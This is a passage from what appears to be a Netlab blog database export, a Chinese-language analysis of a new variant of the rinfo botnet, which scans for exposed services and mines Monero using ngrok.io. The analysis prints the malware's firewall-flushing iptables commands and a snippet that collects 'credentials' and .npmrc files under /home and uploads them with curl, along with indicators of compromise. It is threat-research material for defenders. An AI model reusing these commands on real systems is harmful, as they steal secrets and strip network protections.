malicous in the article by themselves. Industrial IoC production includes not only the basic determination process, but also the complex processes of filtering, false alarm prevention, feedback correction, fail-safe, and automation. This article is written to facilitate the reader's understanding of the general principles of how DNSMon works, but the complexity of the various devilish details of the industrialized process is far beyond what can be described in the lines."]]],[1,"h2",[[0,[2],1,"IoC"]]],[10,20],[1,"p",[]]],"ghostVersion":"3.0"} | 6020c5ced0d9b7000712b26c |
post | null | 2021-02-09T02:53:05.000Z | 63873b9a8b1c1e0007f52fa3 | rinfojuan-tu-zhong-lai-zheng-zai-feng-kuang-sao-miao-he-wa-kuang | 0 | 2021-02-10T06:20:08.000Z | public | published | null | 2021-02-10T06:19:47.000Z | rinfo卷土重来，正在疯狂扫描和挖矿 | <!--kg-card-begin: markdown--><h2 id="">版权</h2>
<p>版权声明：本文为Netlab原创，依据<a href="https://creativecommons.org/licenses/by-sa/4.0/">CC BY-SA 4.0</a> 许可证进行授权，转载请附上出处链接及本声明。</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h2 id="">概述</h2>
<p>2018年我们公开过一个利用ngrok.io传播样本的扫描&挖矿型botnet家族: "<a href="__GHOST_URL__/miner-delivery-sample-via-ngrok-tunnel/">利用ngrok传播样本挖矿</a>"，从2020年10月中旬开始，我们的BotMon系统检测到这个家族的新变种再次活跃起来，并且持续至今。相比上一次，这次来势更加凶猛，截至2021年2月6号，我们的Anglerfish蜜罐共捕获到11864个scanner样本，1754个miner样本，3232个ngrok.io临时域名。样本捕获情况可以参考下面的捕获记录。</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/02/rinfo_scanner.daily.cap.png" class="kg-image" alt loading="lazy"></figure><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/02/rinfo_miner.daily.cap.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>目前该家族仍在传播之中，本文将结合老版本对新变种做一对比分析，要点如下：</p>
<ol>
<li>该家族整体结构未变，仍由扫描和挖矿2大模块组成，扫描的目的仍然是为了组建挖矿型botnet。</li>
<li>样本跟2018年分析的那批同源，只是功能稍有变化，为最新变种。</li>
<li>新版本仍然依赖ngrok.io来分发样本和上报结果。</li>
<li>扫描的端口和服务有所变化，不再扫描Apache CouchDB和MODX服务，同时增加了3个新的扫描目标：Mongo、Confluence和vBulletin。</li>
<li>跟老版本一样，新版本的扫描模块仍然只是探测端口和服务然后上报，并没集成exploit。</li>
</ol>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h2 id="">样本对比分析</h2>
<p>该家族由2个核心模块组成：负责扫描的scanner和负责挖矿miner，它们均用bash脚本编写。因为scanner模块中使用一个“<strong>/tmp/rinfo</strong>”开头的文件保存结果，所以将这个家族命名为rinfo。值得说明的是，scanner和miner模块均是由loader单独植入的，它们在代码上不存在绑定关系：我们既没有在scanner模块中发现下载和执行miner模块的代码，也没有在miner模块中发现涉及scanner模块的代码，把他们关联起来的唯一线索就是<a href="__GHOST_URL__/miner-delivery-sample-via-ngrok-tunnel/">同样的loader IP和同样的被攻击端口</a>。结合样本，我们推断scanner应该是起始模块，在扫描到目标主机完成上报后，攻击者既可以选择继续植入scanner模块，也可以选择miner模块。理论上攻击者还可能植入其它的功能模块，对此我们会保持关注，有进一步的发现将会及时披露。</p>
<h3 id="scanner">scanner模块</h3>
<p>scanner模块的分析基于样本md5=01199e3d63c5211b902d18a7817a6997。跟老版本一样，真正的扫描还是通过zmap、jq、zgrab这些2进制软件完成的，scanner模块只是下载并执行它们，然后将结果上报。因为没有发现exploit相关代码，所以怀疑还存在单独的漏洞利用模块，这个模块应该是由loader在后台运行。整个scanner模块如下图所示。</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/02/scanner_new2.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>跟老版本(md5=072922760ec200ccce83ac5ce20c46ca)相比，新版本最大的变化是目标扫描端口和服务，老版本针对的端口和服务如下：</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><pre><code>TCP 6379，Redis
TCP 2375，Docker client version 1.16
TCP 80/8080，Jenkins/Drupal/MODX
TCP 5984，Apache CouchDB
</code></pre>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><p>新版本不再扫描5984端口，但增加了TCP 6380和443。服务方面，新版本去掉了Apache CouchDB和MODX，增加了Mongo、Confluence和vBulletin。新版本的扫描端口和服务如下：</p>
<pre><code>TCP 6380, Redis
TCP 2375, Docker client version 1.16
TCP 80/443/8080, Jenkins/Mongo/Drupal/Confluence/vBulletin
</code></pre>
<p>另一个变化是上报扫描结果的url的模式，老版本url形如：</p>
<pre><code>hxxp://cc8ef76b.ngrok.io/z?r=40ddb986122e221e08092943e5faa2ed&i=2a6da41fcf36d873dde9ed0040fcf99ba59f579c3723bb178ba8a2195a11fb61cb6b669ed0f32fb9bdc891e64613e0c8aad46642f7a9b68ccea30244b4d0addf6d506be7e2c71c3c3793762e8e2a40117f62f0688cfad660a6f9529d3e17e183d769864ea45294d9dca4712ee73d5744&x=${excode}
</code></pre>
<p>新版本变成了2个url，并且url的i参数值变短了:</p>
<pre><code>hxxp://0c9cbf209b1c.ngrok.io/z?r=0cf45361e2393cb0dc2488fd6db89cba&i=f05e89c39363f65c&x=${excode}
hxxp://b78cf6364fd3.ngrok.io/z?r=0cf45361e2393cb0dc2488fd6db89cba&i=f05e89c39363f65c&x=${excode}
</code></pre>
<p>需要说明的是上面所有url中ngrok.io的subdomain都是不固定的，在不同scanner样本中其值并不相同，这也是为何scanner样本数超过1w的原因。至于原因，之前的<a href="__GHOST_URL__/miner-delivery-sample-via-ngrok-tunnel/">blog</a>也说了，应该是为了增加防御难度。</p>
<p>第3个变化是扫描网段的设置。在老版本中是以bash shell数组的形式指定，在新版本中变成了单一值。</p>
<pre><code>#老版本的扫描网段设置
IPR="13.238.160.0/19 52.33.224.0/19 194.42.160.0/19 37.123.128.0/19 146.88.0.0/19 39.97.32.0/19 117.73.160.0/19 58.119.224.0/19 118.89.224.0/19 211.109.32.0/19 211.186.192.0/19 58.123.32.0/19 58.229.224.0/19 52.123.32.0/19 52.244.192.0/19 52.250.224.0/19 63.34.192.0/19 3.114.224.0/19"
#新版本的扫描网段设置
IPR="94.130.96.0/19"
</code></pre>
<p>不同scanner样本的IPR值并不相同，说明作者对扫描网段设置是有选择的。目前我们从捕获的样本中共检测到700多个目标扫描网段，掩码都是19位。</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h3 id="miner">miner模块</h3>
<p>miner模块的分析基于样本MD5=1d74fd8d25fa3750405d8ba8d224d084。跟scanner模块类似，miner模块只是一个bash脚本，具体的挖矿行为也是通过下载和执行2进制矿机程序实现的。</p>
<p>跟老版本相比，新版本的miner模块变化不大，对ngrok.io使用模式也相同，差别在于：</p>
<ol>
<li>新版本不再下载和运行fc程序，矿机程序集成了新的钱包地址。</li>
<li>新版本去掉了<a href="__GHOST_URL__/miner-delivery-sample-via-ngrok-tunnel/">感染本地.js文件</a>的功能。</li>
<li>增加了几行iptables命令，目的在于取消各种网络限制。</li>
<li>添加了窃密功能。</li>
</ol>
<p>新增加的iptables命令如下：</p>
<pre><code>iptables -P INPUT ACCEPT >/dev/null 2>&1
iptables -P FORWARD ACCEPT >/dev/null 2>&1
iptables -P OUTPUT ACCEPT >/dev/null 2>&1
iptables -t nat -F >/dev/null 2>&1
iptables -t mangle -F >/dev/null 2>&1
iptables -F >/dev/null 2>&1
iptables -X >/dev/null 2>&1
</code></pre>
<p>老版本末尾的感染.js代码被如下的窃密代码代替：</p>
<pre><code>find /home -maxdepth 5 -type f -name 'credentials' 2>/dev/null | xargs -I % sh -c 'echo :::%; cat %'>>$CFG 2>/dev/null
find /home -maxdepth 5 -type f -name '.npmrc' 2>/dev/null | xargs -I % sh -c 'echo :::%; cat %'>>$CFG 2>/dev/null
if [ -s $CFG ]; then
curl -s -F file=@$CFG "$HOST/c?r=${RIP}" >/dev/null 2>&1
rm -rf $CFG
</code></pre>
<p>这段代码会寻找/home及其子目录下的credentials和.npmrc文件，然后将他们上传。</p>
<p>跟老版本一样，整个miner模块中都通过一个$HOST变量访问download server，后者指向一个临时ngrok.io域名。这是miner模块区别于scanner模块的地方，后者给每一个url都分配了不同的ngrok子域名。</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h2 id="">结论</h2>
<p>新版本的rinfo不管从模块结构还是手法看，跟之前相比都没有大的变化，猜测背后应该还是同一伙人。</p>
<p>从我们捕获的样本来看，新版本的rinfo目的还是在于组建挖矿型botnet，这可能跟近期比特币涨价有关。但不管是scanner还是miner模块，都是由背后的loader选择性的植入的，所以理论上他们完全可能植入其它的功能模块，对此我们会保持关注，有新的发现将及时公布。</p>
<p>因为rinfo家族重度使用ngrok.io来传播和回传，其频繁更换的ngrok临时域名给防御带来了困难，我们建议根据url模式进行检测和封堵。</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h2 id="ioc">IoC</h2>
<h3 id="attackerloaderips">attacker&loader IPs</h3>
<pre><code>185.242.6.3
185.159.157.20
</code></pre>
<h3 id="scannerurl">scanner模块及下载url</h3>
<pre><code>01199e3d63c5211b902d18a7817a6997 http://738a39f8d49c.ngrok.io/z?r=0cf45361e2393cb0dc2488fd6db89cba&i=f05e89c39363f65c&x=0
...(此处省去1w+ 行)
</code></pre>
<h3 id="scanner2url">scanner模块用到的2进制程序及其url</h3>
<pre><code>1ad3216964d073dabec2b843a06042f9 zmap http://bda5861e074e.ngrok.io/d8/gmap
8f797aef388194277307345ba1bdeb08 zgrab http://3aee228ab53a.ngrok.io/d8/zgrab
c3461eb5b1abe7551023ef5964ca9080 jq http://1edab0651a2b.ngrok.io/d8/jq
...
</code></pre>
<h4 id="scannerurl">scanner模块回传结果的url</h4>
<pre><code>http://0c9cbf209b1c.ngrok.io/z?r=0cf45361e2393cb0dc2488fd6db89cba&i=f05e89c39363f65c&x=0
http://b78cf6364fd3.ngrok.io/z?r=0cf45361e2393cb0dc2488fd6db89cba&i=f05e89c39363f65c&x=0
...
</code></pre>
<h3 id="minerurl">miner模块及下载url</h3>
<pre><code>1d74fd8d25fa3750405d8ba8d224d084 http://4bfd95b92a04.ngrok.io/f/serve?l=j&r=99341660c472f43e8124bc255aa0571bt
...(此处省去1w+行)
</code></pre>
<h3 id="miner2url">miner模块用到的2进制程序及其url</h3>
<pre><code>323c22138cc098c3d1c11b47fda3c053 CoinMiner http://bcaf48a9ab6b.ngrok.io/d8/nginx
2b9440c2c2d27a102e2f1e2a7140b57c Doki http://bcaf48a9ab6b.ngrok.io/d8/daemon
</code></pre>
<h3 id="minerurl">miner模块回传结果的url</h3>
<pre><code>http://522240bf9589.ngrok.io/contact?k=1
http://522240bf9589.ngrok.io/contact?r=99341660c472f43e8124bc255aa0571bt&e=1
</code></pre>
<h3 id="">矿池和钱包地址</h3>
<pre><code>pool: xmr-eu2.nanopool.org:14444
wallet: 49JzXdLYqybL4a2u3hpa46WbqiYmd3xT1intPPDxzLR6hRJ81LA72tEMdgESxPnK2hEcVtom3m7ABisXShQkjzZ4DpipeD1
pool:xmr-asia1.nanopool.org:14444
wallet:49JzXdLYqybL4a2u3hpa46WbqiYmd3xT1intPPDxzLR6hRJ81LA72tEMdgESxPnK2hEcVtom3m7ABisXShQkjzZ4DpipeD1
pool:xmr-us-east1.nanopool.org:14444
wallet:49JzXdLYqybL4a2u3hpa46WbqiYmd3xT1intPPDxzLR6hRJ81LA72tEMdgESxPnK2hEcVtom3m7ABisXShQkjzZ4DpipeD1
</code></pre>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h2 id="">参考</h2>
<p><a href="__GHOST_URL__/a-new-mining-botnet-blends-its-c2s-into-ngrok-service/">https://blog.netlab.360.com/a-new-mining-botnet-blends-its-c2s-into-ngrok-service/</a><br>
<a href="https://www.intezer.com/blog/cloud-security/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/">https://www.intezer.com/blog/cloud-security/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/</a></p>
<!--kg-card-end: markdown--> | 版权
版权声明：本文为Netlab原创，依据CC BY-SA 4.0 许可证进行授权，转载请附上出处链接及本声明。
概述
2018年我们公开过一个利用ngrok.io传播样本的扫描&挖矿型botnet家族: "利用ngrok传播样本挖矿"，从2020年10月中旬开始，我们的BotMon系统检测到这个家族的新变种再次活跃起来，并且持续至今。相比上一次，这次来势更加凶猛，截至2021年2月6号，我们的Anglerfish蜜罐共捕获到11864个scanner样本，1754个miner样本，3232个ngrok.io临时域名。样本捕获情况可以参考下面的捕获记录。
目前该家族仍在传播之中，本文将结合老版本对新变种做一对比分析，要点如下：
1. 该家族整体结构未变，仍由扫描和挖矿2大模块组成，扫描的目的仍然是为了组建挖矿型botnet。
2. 样本跟2018年分析的那批同源，只是功能稍有变化，为最新变种。
3. 新版本仍然依赖ngrok.io来分发样本和上报结果。
4. 扫描的端口和服务有所变化，不再扫描Apache CouchDB和MODX服务，同时增加了3个新的扫描目标：Mongo、Confluence和vBulletin。
5. 跟老版本一样，新版本的扫描模块仍然只是探测端口和服务然后上报，并没集成exploit。
样本对比分析
该家族由2个核心模块组成：负责扫描的scanner和负责挖矿miner，它们均用bash脚本编写。因为scanner模块中使用一个“/tmp/rinfo”开头的文件保存结果，所以将这个家族命名为rinfo。值得说明的是，scanner和miner模块均是由loader单独植入的，它们在代码上不存在绑定关系：我们既没有在scanner模块中发现下载和执行miner模块的代码，也没有在miner模块中发现涉及scanner模块的代码，把他们关联起来的唯一线索就是同样的loader IP和同样的被攻击端口。结合样本，我们推断scanner应该是起始模块，在扫描到目标主机完成上报后，攻击者既可以选择继续植入scanner模块，也可以选择miner模块。理论上攻击者还可能植入其它的功能模块，对此我们会保持关注，有进一步的发现将会及时披露。
scanner模块
scanner模块的分析基于样本md5=01199e3d63c5211b902d18a7817a6997。跟老版本一样，真正的扫描还是通过zmap、jq、zgrab这些2进制软件完成的，scanner模块只是下载并执行它们，然后将结果上报。因为没有发现exploit相关代码，所以怀疑还存在单独的漏洞利用模块，这个模块应该是由loader在后台运行。整个scanner模块如下图所示。
跟老版本(md5=072922760ec200ccce83ac5ce20c46ca)相比，新版本最大的变化是目标扫描端口和服务，老版本针对的端口和服务如下：
TCP 6379，Redis
TCP 2375，Docker client version 1.16
TCP 80/8080，Jenkins/Drupal/MODX
TCP 5984，Apache CouchDB
新版本不再扫描5984端口，但增加了TCP 6380和443。服务方面，新版本去掉了Apache CouchDB和MODX，增加了Mongo、Confluence和vBulletin。新版本的扫描端口和服务如下：
TCP 6380, Redis
TCP 2375, Docker client version 1.16
TCP 80/443/8080, Jenkins/Mongo/Drupal/Confluence/vBulletin
另一个变化是上报扫描结果的url的模式，老版本url形如：
hxxp://cc8ef76b.ngrok.io/z?r=40ddb986122e221e08092943e5faa2ed&i=2a6da41fcf36d873dde9ed0040fcf99ba59f579c3723bb178ba8a2195a11fb61cb6b669ed0f32fb9bdc891e64613e0c8aad46642f7a9b68ccea30244b4d0addf6d506be7e2c71c3c3793762e8e2a40117f62f0688cfad660a6f9529d3e17e183d769864ea45294d9dca4712ee73d5744&x=${excode}
新版本变成了2个url，并且url的i参数值变短了:
hxxp://0c9cbf209b1c.ngrok.io/z?r=0cf45361e2393cb0dc2488fd6db89cba&i=f05e89c39363f65c&x=${excode}
hxxp://b78cf6364fd3.ngrok.io/z?r=0cf45361e2393cb0dc2488fd6db89cba&i=f05e89c39363f65c&x=${excode}
需要说明的是上面所有url中ngrok.io的subdomain都是不固定的，在不同scanner样本中其值并不相同，这也是为何scanner样本数超过1w的原因。至于原因，之前的blog也说了，应该是为了增加防御难度。
第3个变化是扫描网段的设置。在老版本中是以bash shell数组的形式指定，在新版本中变成了单一值。
#老版本的扫描网段设置
IPR="13.238.160.0/19 52.33.224.0/19 194.42.160.0/19 37.123.128.0/19 146.88.0.0/19 39.97.32.0/19 117.73.160.0/19 58.119.224.0/19 118.89.224.0/19 211.109.32.0/19 211.186.192.0/19 58.123.32.0/19 58.229.224.0/19 52.123.32.0/19 52.244.192.0/19 52.250.224.0/19 63.34.192.0/19 3.114.224.0/19"
#新版本的扫描网段设置
IPR="94.130.96.0/19"
不同scanner样本的IPR值并不相同，说明作者对扫描网段设置是有选择的。目前我们从捕获的样本中共检测到700多个目标扫描网段，掩码都是19位。
miner模块
miner模块的分析基于样本MD5=1d74fd8d25fa3750405d8ba8d224d084。跟scanner模块类似，miner模块只是一个bash脚本，具体的挖矿行为也是通过下载和执行2进制矿机程序实现的。
跟老版本相比，新版本的miner模块变化不大，对ngrok.io使用模式也相同，差别在于：
1. 新版本不再下载和运行fc程序，矿机程序集成了新的钱包地址。
2. 新版本去掉了感染本地.js文件的功能。
3. 增加了几行iptables命令，目的在于取消各种网络限制。
4. 添加了窃密功能。
新增加的iptables命令如下：
iptables -P INPUT ACCEPT >/dev/null 2>&1
iptables -P FORWARD ACCEPT >/dev/null 2>&1
iptables -P OUTPUT ACCEPT >/dev/null 2>&1
iptables -t nat -F >/dev/null 2>&1
iptables -t mangle -F >/dev/null 2>&1
iptables -F >/dev/null 2>&1
iptables -X >/dev/null 2>&1
老版本末尾的感染.js代码被如下的窃密代码代替：
find /home -maxdepth 5 -type f -name 'credentials' 2>/dev/null | xargs -I % sh -c 'echo :::%; cat %'>>$CFG 2>/dev/null
find /home -maxdepth 5 -type f -name '.npmrc' 2>/dev/null | xargs -I % sh -c 'echo :::%; cat %'>>$CFG 2>/dev/null
if [ -s $CFG ]; then
curl -s -F file=@$CFG "$HOST/c?r=${RIP}" >/dev/null 2>&1
rm -rf $CFG
这段代码会寻找/home及其子目录下的credentials和.npmrc文件，然后将他们上传。
跟老版本一样，整个miner模块中都通过一个$HOST变量访问download server，后者指向一个临时ngrok.io域名。这是miner模块区别于scanner模块的地方，后者给每一个url都分配了不同的ngrok子域名。
结论
新版本的rinfo不管从模块结构还是手法看，跟之前相比都没有大的变化，猜测背后应该还是同一伙人。
从我们捕获的样本来看，新版本的rinfo目的还是在于组建挖矿型botnet，这可能跟近期比特币涨价有关。但不管是scanner还是miner模块，都是由背后的loader选择性的植入的，所以理论上他们完全可能植入其它的功能模块，对此我们会保持关注，有新的发现将及时公布。
因为rinfo家族重度使用ngrok.io来传播和回传，其频繁更换的ngrok临时域名给防御带来了困难，我们建议根据url模式进行检测和封堵。
IoC
attacker&loader IPs
185.242.6.3
185.159.157.20
scanner模块及下载url
01199e3d63c5211b902d18a7817a6997 http://738a39f8d49c.ngrok.io/z?r=0cf45361e2393cb0dc2488fd6db89cba&i=f05e89c39363f65c&x=0
...(此处省去1w+ 行)
scanner模块用到的2进制程序及其url
1ad3216964d073dabec2b843a06042f9 zmap http://bda5861e074e.ngrok.io/d8/gmap
8f797aef388194277307345ba1bdeb08 zgrab http://3aee228ab53a.ngrok.io/d8/zgrab
c3461eb5b1abe7551023ef5964ca9080 jq http://1edab0651a2b.ngrok.io/d8/jq
...
scanner模块回传结果的url
http://0c9cbf209b1c.ngrok.io/z?r=0cf45361e2393cb0dc2488fd6db89cba&i=f05e89c39363f65c&x=0
http://b78cf6364fd3.ngrok.io/z?r=0cf45361e2393cb0dc2488fd6db89cba&i=f05e89c39363f65c&x=0
...
miner模块及下载url
1d74fd8d25fa3750405d8ba8d224d084 http://4bfd95b92a04.ngrok.io/f/serve?l=j&r=99341660c472f43e8124bc255aa0571bt
...(此处省去1w+行)
miner模块用到的2进制程序及其url
323c22138cc098c3d1c11b47fda3c053 CoinMiner http://bcaf48a9ab6b.ngrok.io/d8/nginx
2b9440c2c2d27a102e2f1e2a7140b57c Doki http://bcaf48a9ab6b.ngrok.io/d8/daemon
miner模块回传结果的url
http://522240bf9589.ngrok.io/contact?k=1
http://522240bf9589.ngrok.io/contact?r=99341660c472f43e8124bc255aa0571bt&e=1
矿池和钱包地址
pool: xmr-eu2.nanopool.org:14444
wallet: 49JzXdLYqybL4a2u3hpa46WbqiYmd3xT1intPPDxzLR6hRJ81LA72tEMdgESxPnK2hEcVtom3m7ABisXShQkjzZ4DpipeD1
pool:xmr-asia1.nanopool.org:14444
wallet:49JzXdLYqybL4a2u3hpa46WbqiYmd3xT1intPPDxzLR6hRJ81LA72tEMdgESxPnK2hEcVtom3m7ABisXShQkjzZ4DpipeD1
pool:xmr-us-east1.nanopool.org:14444
wallet:49JzXdLYqybL4a2u3hpa46WbqiYmd3xT1intPPDxzLR6hRJ81LA72tEMdgESxPnK2hEcVtom3m7ABisXShQkjzZ4DpipeD1
参考
https://blog.netlab.360.com/a-new-mining-botnet-blends-its-c2s-into-ngrok-service/
https://www.intezer.com/blog/cloud-security/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"##版权\n版权声明：本文为Netlab原创，依据[CC BY-SA 4.0](https://creativecommons.org/licenses/by-sa/4.0/) 许可证进行授权，转载请附上出处链接及本声明。"}],["markdown",{"markdown":"##概述\n\n2018年我们公开过一个利用ngrok.io传播样本的扫描&挖矿型botnet家族: \"[利用ngrok传播样本挖矿](__GHOST_URL__/miner-delivery-sample-via-ngrok-tunnel/)\"，从2020年10月中旬开始，我们的BotMon系统检测到这个家族的新变种再次活跃起来，并且持续至今。相比上一次，这次来势更加凶猛，截至2021年2月6号，我们的Anglerfish蜜罐共捕获到11864个scanner样本，1754个miner样本，3232个ngrok.io临时域名。样本捕获情况可以参考下面的捕获记录。"}],["image",{"src":"__GHOST_URL__/content/images/2021/02/rinfo_scanner.daily.cap.png"}],["image",{"src":"__GHOST_URL__/content/images/2021/02/rinfo_miner.daily.cap.png"}],["markdown",{"markdown":"目前该家族仍在传播之中，本文将结合老版本对新变种做一对比分析，要点如下：\n1. 该家族整体结构未变，仍由扫描和挖矿2大模块组成，扫描的目的仍然是为了组建挖矿型botnet。\n2. 样本跟2018年分析的那批同源，只是功能稍有变化，为最新变种。\n3. 新版本仍然依赖ngrok.io来分发样本和上报结果。\n4. 扫描的端口和服务有所变化，不再扫描Apache CouchDB和MODX服务，同时增加了3个新的扫描目标：Mongo、Confluence和vBulletin。\n5. 跟老版本一样，新版本的扫描模块仍然只是探测端口和服务然后上报，并没集成exploit。\n\n"}],["markdown",{"markdown":"##样本对比分析\n\n该家族由2个核心模块组成：负责扫描的scanner和负责挖矿miner，它们均用bash脚本编写。因为scanner模块中使用一个“**/tmp/rinfo**”开头的文件保存结果，所以将这个家族命名为rinfo。值得说明的是，scanner和miner模块均是由loader单独植入的，它们在代码上不存在绑定关系：我们既没有在scanner模块中发现下载和执行miner模块的代码，也没有在miner模块中发现涉及scanner模块的代码，把他们关联起来的唯一线索就是[同样的loader IP和同样的被攻击端口](__GHOST_URL__/miner-delivery-sample-via-ngrok-tunnel/)。结合样本，我们推断scanner应该是起始模块，在扫描到目标主机完成上报后，攻击者既可以选择继续植入scanner模块，也可以选择miner模块。理论上攻击者还可能植入其它的功能模块，对此我们会保持关注，有进一步的发现将会及时披露。\n\n###scanner模块\n\nscanner模块的分析基于样本md5=01199e3d63c5211b902d18a7817a6997。跟老版本一样，真正的扫描还是通过zmap、jq、zgrab这些2进制软件完成的，scanner模块只是下载并执行它们，然后将结果上报。因为没有发现exploit相关代码，所以怀疑还存在单独的漏洞利用模块，这个模块应该是由loader在后台运行。整个scanner模块如下图所示。\n"}],["image",{"src":"__GHOST_URL__/content/images/2021/02/scanner_new2.png","cardWidth":""}],["markdown",{"markdown":"跟老版本(md5=072922760ec200ccce83ac5ce20c46ca)相比，新版本最大的变化是目标扫描端口和服务，老版本针对的端口和服务如下：\n"}],["markdown",{"markdown":"```\nTCP 6379，Redis\nTCP 2375，Docker client version 1.16\nTCP 80/8080，Jenkins/Drupal/MODX\nTCP 5984，Apache CouchDB\n```"}],["markdown",{"markdown":"新版本不再扫描5984端口，但增加了TCP 6380和443。服务方面，新版本去掉了Apache CouchDB和MODX，增加了Mongo、Confluence和vBulletin。新版本的扫描端口和服务如下：\n```\nTCP 6380, Redis\nTCP 2375, Docker client version 1.16\nTCP 80/443/8080, Jenkins/Mongo/Drupal/Confluence/vBulletin\n```\n\n另一个变化是上报扫描结果的url的模式，老版本url形如：\n```\nhxxp://cc8ef76b.ngrok.io/z?r=40ddb986122e221e08092943e5faa2ed&i=2a6da41fcf36d873dde9ed0040fcf99ba59f579c3723bb178ba8a2195a11fb61cb6b669ed0f32fb9bdc891e64613e0c8aad46642f7a9b68ccea30244b4d0addf6d506be7e2c71c3c3793762e8e2a40117f62f0688cfad660a6f9529d3e17e183d769864ea45294d9dca4712ee73d5744&x=${excode}\n```\n\n新版本变成了2个url，并且url的i参数值变短了:\n```\nhxxp://0c9cbf209b1c.ngrok.io/z?r=0cf45361e2393cb0dc2488fd6db89cba&i=f05e89c39363f65c&x=${excode} \nhxxp://b78cf6364fd3.ngrok.io/z?r=0cf45361e2393cb0dc2488fd6db89cba&i=f05e89c39363f65c&x=${excode}\n```\n需要说明的是上面所有url中ngrok.io的subdomain都是不固定的，在不同scanner样本中其值并不相同，这也是为何scanner样本数超过1w的原因。至于原因，之前的[blog](__GHOST_URL__/miner-delivery-sample-via-ngrok-tunnel/)也说了，应该是为了增加防御难度。\n\n第3个变化是扫描网段的设置。在老版本中是以bash shell数组的形式指定，在新版本中变成了单一值。\n```\n#老版本的扫描网段设置\nIPR=\"13.238.160.0/19 52.33.224.0/19 194.42.160.0/19 37.123.128.0/19 146.88.0.0/19 39.97.32.0/19 117.73.160.0/19 58.119.224.0/19 118.89.224.0/19 211.109.32.0/19 211.186.192.0/19 58.123.32.0/19 58.229.224.0/19 52.123.32.0/19 52.244.192.0/19 52.250.224.0/19 63.34.192.0/19 3.114.224.0/19\"\n\n#新版本的扫描网段设置\nIPR=\"94.130.96.0/19\"\n```\n\n不同scanner样本的IPR值并不相同，说明作者对扫描网段设置是有选择的。目前我们从捕获的样本中共检测到700多个目标扫描网段，掩码都是19位。"}],["markdown",{"markdown":"###miner模块\n\nminer模块的分析基于样本MD5=1d74fd8d25fa3750405d8ba8d224d084。跟scanner模块类似，miner模块只是一个bash脚本，具体的挖矿行为也是通过下载和执行2进制矿机程序实现的。\n\n跟老版本相比，新版本的miner模块变化不大，对ngrok.io使用模式也相同，差别在于：\n1. 新版本不再下载和运行fc程序，矿机程序集成了新的钱包地址。\n2. 新版本去掉了[感染本地.js文件](__GHOST_URL__/miner-delivery-sample-via-ngrok-tunnel/)的功能。\n3. 增加了几行iptables命令，目的在于取消各种网络限制。\n4. 添加了窃密功能。\n\n新增加的iptables命令如下：\n```\niptables -P INPUT ACCEPT >/dev/null 2>&1\niptables -P FORWARD ACCEPT >/dev/null 2>&1\niptables -P OUTPUT ACCEPT >/dev/null 2>&1\niptables -t nat -F >/dev/null 2>&1\niptables -t mangle -F >/dev/null 2>&1\niptables -F >/dev/null 2>&1\niptables -X >/dev/null 2>&1\n```\n\n老版本末尾的感染.js代码被如下的窃密代码代替：\n```\nfind /home -maxdepth 5 -type f -name 'credentials' 2>/dev/null | xargs -I % sh -c 'echo :::%; cat %'>>$CFG 2>/dev/null\nfind /home -maxdepth 5 -type f -name '.npmrc' 2>/dev/null | xargs -I % sh -c 'echo :::%; cat %'>>$CFG 2>/dev/null\nif [ -s $CFG ]; then\n curl -s -F file=@$CFG \"$HOST/c?r=${RIP}\" >/dev/null 2>&1\nrm -rf $CFG\n```\n这段代码会寻找/home及其子目录下的credentials和.npmrc文件，然后将他们上传。\n\n跟老版本一样，整个miner模块中都通过一个$HOST变量访问download server，后者指向一个临时ngrok.io域名。这是miner模块区别于scanner模块的地方，后者给每一个url都分配了不同的ngrok子域名。\n\n\n"}],["markdown",{"markdown":"##结论\n新版本的rinfo不管从模块结构还是手法看，跟之前相比都没有大的变化，猜测背后应该还是同一伙人。\n\n从我们捕获的样本来看，新版本的rinfo目的还是在于组建挖矿型botnet，这可能跟近期比特币涨价有关。但不管是scanner还是miner模块，都是由背后的loader选择性的植入的，所以理论上他们完全可能植入其它的功能模块，对此我们会保持关注，有新的发现将及时公布。\n\n因为rinfo家族重度使用ngrok.io来传播和回传，其频繁更换的ngrok临时域名给防御带来了困难，我们建议根据url模式进行检测和封堵。\n"}],["markdown",{"markdown":"##IoC\n\n###attacker&loader IPs\n```\n185.242.6.3\n185.159.157.20\n```\n\n###scanner模块及下载url\n```\n01199e3d63c5211b902d18a7817a6997 http://738a39f8d49c.ngrok.io/z?r=0cf45361e2393cb0dc2488fd6db89cba&i=f05e89c39363f65c&x=0\n...(此处省去1w+ 行)\n```\n###scanner模块用到的2进制程序及其url\n```\n1ad3216964d073dabec2b843a06042f9 zmap http://bda5861e074e.ngrok.io/d8/gmap\n8f797aef388194277307345ba1bdeb08 zgrab http://3aee228ab53a.ngrok.io/d8/zgrab\nc3461eb5b1abe7551023ef5964ca9080 jq http://1edab0651a2b.ngrok.io/d8/jq\n...\n```\n####scanner模块回传结果的url\n```\nhttp://0c9cbf209b1c.ngrok.io/z?r=0cf45361e2393cb0dc2488fd6db89cba&i=f05e89c39363f65c&x=0\nhttp://b78cf6364fd3.ngrok.io/z?r=0cf45361e2393cb0dc2488fd6db89cba&i=f05e89c39363f65c&x=0\n...\n```\n\n###miner模块及下载url\n```\n1d74fd8d25fa3750405d8ba8d224d084 http://4bfd95b92a04.ngrok.io/f/serve?l=j&r=99341660c472f43e8124bc255aa0571bt\n...(此处省去1w+行)\n```\n###miner模块用到的2进制程序及其url\n```\n323c22138cc098c3d1c11b47fda3c053 CoinMiner http://bcaf48a9ab6b.ngrok.io/d8/nginx\n2b9440c2c2d27a102e2f1e2a7140b57c Doki 